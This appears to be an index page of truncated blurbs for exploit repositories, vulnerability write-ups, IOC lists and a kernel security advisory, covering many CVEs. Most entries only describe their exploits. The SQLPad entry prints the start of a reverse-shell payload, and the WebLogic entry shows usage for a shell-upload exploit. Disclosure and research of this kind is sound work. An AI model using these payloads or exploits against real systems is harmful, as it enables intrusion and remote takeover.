CVE-2024-46451

CVE-2024-46451 TOTOLINK AC1200 T8 Exploit - Buffer Overflow Vulnerability This repository contains a Python script that exploits a buffer overflow vulnerability in the TOTOLINK AC1200 T8 version v4.1.5cu.861B20230220 in the setWiFiAclRules function via the desc parameter. Vulnerability Details...

vsftpd-234-vuln-report

💥 vsftpd 2.3.4 Backdoor Exploit Report Exploitation of a known vulnerability in vsftpd 2.3.4 using Metasploit. 📌 Target Details Target IP: 192.168.150.133 Service: FTP Vulnerable Version: vsftpd 2.3.4 Exploit Module: exploit/unix/ftp/vsftpd234backdoor Payload: Command shell TCP 🔍 Vulnerability...

When Business Email Compromise Starts Rewriting Reality

Business Email Compromise BEC operates on a familiar playbook. Threat actors breach a mailbox, silently monitor operations, map approval chains, and ultimately exploit that access to divert funds or exfiltrate sensitive assets. This dynamic is central to our analysis as we kick off a series aroun...

Tomcat-CVE_2025_24813

Tomcat CVE-2025-24813 playground El exploit se bifurcó de https://github.com/absholi7ly/POC-CVE-2025-24813/blob/main/README.md no me funcionó Contenido 1. ROOT.war es una aplicación mínima con un servlet que incluye apache-common-3.1 y genera una sesión 2. ysoserial.jar tomado originalmente del...

CVE-2025-55182-Simple-Scanner-main

CVE-2025-55182: Escáner de RCE en React Server Components Un kit de herramientas integral para detectar y explotar CVE-2025-55182 , una vulnerabilidad crítica de ejecución remota de código en aplicaciones Next.js que utilizan React Server Components. Este repositorio incluye un escáner Bash...

cve-2020-0688

cve-2020-0688 Hice este script para realizar CVE-2020-0688 más rápidamente. Ayuda a mejorar la verificación de la vulnerabilidad, reduciendo enormemente los pasos para ello. Modifique estas entradas antes de ejecutar el archivo. url = "https://mail.something.com" input 1 command = "cmd /c echo...

CVE-2019-19781

本文是关于CVE-2019-19781中登记的Citrix ADC和Gateway目录遍历远程代码执行RCE的文章。 该远程代码执行漏洞是由于在/vpn路径下的../vpns中对smb.conf文件的验证不充分而导致的。 窃取系统配置信息或服务器信息 1. Citrix 1989年成立的美国跨国软件公司 提供服务器、应用程序和桌面虚拟化、网络、SaaS、云计算技术 在存在漏洞的Citrix产品系列中，由于缺乏输入值验证而导致的目录遍历漏洞 - 由于直接使用请求路径而无需验证输入而导致的漏洞...

CVE-2022-0944

CVE-2022-0944 PoC PoC for RCE in SQLPad. This example spawns a reverse shell, but the payload can be modified to run any command available by changing the command in the 'exec' call within the payload. payload = f" process.mainModule.require'childprocess'.exec'/bin/bash -c "bash -i &...

ivanti-cve-2023-35080-privilege-escalation-bof

Ivanti Connect Secure VPN Privilege Escalation Ivanti Secure Access previously Pulse Secure privilege escalation Cobalt Strike BOF CVE-2023-35080. Exploit by Alex and BOF by Tijme. Made possible by Northwave Cyber Security Description This is a Cobalt Strike CS Beacon Object File BOF and executab...

Log4j-IOCs

Log4j log4shell CVE-2021-44228 Lista de IOCs públicos IOCs públicos sobre log4j CVE-2021-44228 Lista de IPssh 45.83.64.237 92.223.89.187 45.83.67.157 45.83.66.8 51.210.175.24 51.75.161.78 185.220.101.62 139.177.178.141 45.83.66.111 94.23.251.77 51.210.175.87 68.183.198.247 185.107.56.121...

CVE-2025-49132-Pterodactyl-Panel-RCE

CVE-2025-49132 — Pterodactyl Panel Security Research & Educational Analysis Overview This project documents research related to CVE-2025-49132 , a vulnerability affecting the Pterodactyl Panel. Purpose: Security research, education, defensive awareness Use only in controlled environments Does not...

name_reverser

== Welcome to Rails Rails is a web-application framework that includes everything needed to create database-backed web applications according to the Model-View-Control pattern. This pattern splits the view also called the presentation into "dumb" templates that are primarily responsible for...

CVE-2017-10271

CVE-2017-10271 CVE-2017-10271 命令执行并回显 直接上传shell 在linux下weblogic 10.3.6.0测试OK 使用方法及参数 python weblogicwlswsatexp.py -t IP:7001 root@kitploit: usage: weblogicwlswsatexp.py -h -t TARGET -c CMD -o OUTPUT -s SHELL optional arguments: -h, --help show this help message and exit -t TARGET, --target TARGET...

ysoserial-cve-2018-2628

ysoserial-cve-2018-2628 0x1. 准备工作 准备好POC脚本及Payload Object生成、JRMPListener运行所需软件环境 Python 2.7.x Oracle Java SE 1.7+ 准备好一套安装好Patch Set Update 180417补丁的WebLogic Server 10.3.6环境（仅有AdminServer即可） 如果有现成的、已经安装好这个PSU版本的WebLogic环境，则可跳过这一步。 准备好POC工具 从本项目里下载POC脚本（wls-cve-2018-2628-poc.py）...

CVE-2020-8559

Kubernetes CVE-2020-8559 Exploit de Prueba de Concepto PoC Esto es solo para fines de demostración. Solo para usar en sistemas sobre los que estás autorizado a realizar acciones administrativas y en los que estás autorizado a explotar CVE-2020-8559 Este es un PoC para CVE-2020-8559. Esta...

fix-cve-2013-2094

CVE-2013-2094 Mitigation Fix This script provides an easy mechnism for generating portable SystemTap modules that can be loaded with systemtap-runtime to mitigate the vulnerability described in CVE-2013-2094. This toolset is aimed towards RHEL6, but will likely work without modification on other...

Exploit for CVE-2026-96515

CVE-2026-96515: authenticated root command execution in Netlin...

CVE-2019-19012

CVE-2019-19012 Un desbordamiento de entero en la función searchinrange en regexec.c en Oniguruma 6.x anterior a 6.9.4rc2 conduce a una lectura fuera de los límites, en la que el desplazamiento de esta lectura está bajo el control de un atacante. Esto solo afecta a la versión compilada en 32 bits...

inspector-gadget

inspector-gadget root@kitploit: Go Go Gadget Exploit! ..--"\ |""--.. .-' \ | '-. / |...----'\ |,,..--""--.. | '\ .--'.I. ''--..' ''",JGS/|,---' ,' .::-. ', ' ,'-;oIo;-', ' - | = | | | ; .. ; ..-;|\ - /|;-. -' / \// \ '- / ; /-'; \ ; .--| |O O |'-./ ; |/ \ ;OO/ | | \ II / | \ / |O O \ / / | ...

Security update for the Linux Kernel (Live Patch 10 for SUSE Linux Enterprise 15 SP7)

This update for the SUSE Linux Enterprise Kernel 6.4.0-150700.53.34 fixes various security issues: The following security issues were fixed: CVE-2026-46150: fanotify: fix false positive on permission events bsc1267388. CVE-2026-53360: KVM: SEV: Require in-GHCB scratch area if GHCB v2+ is in use...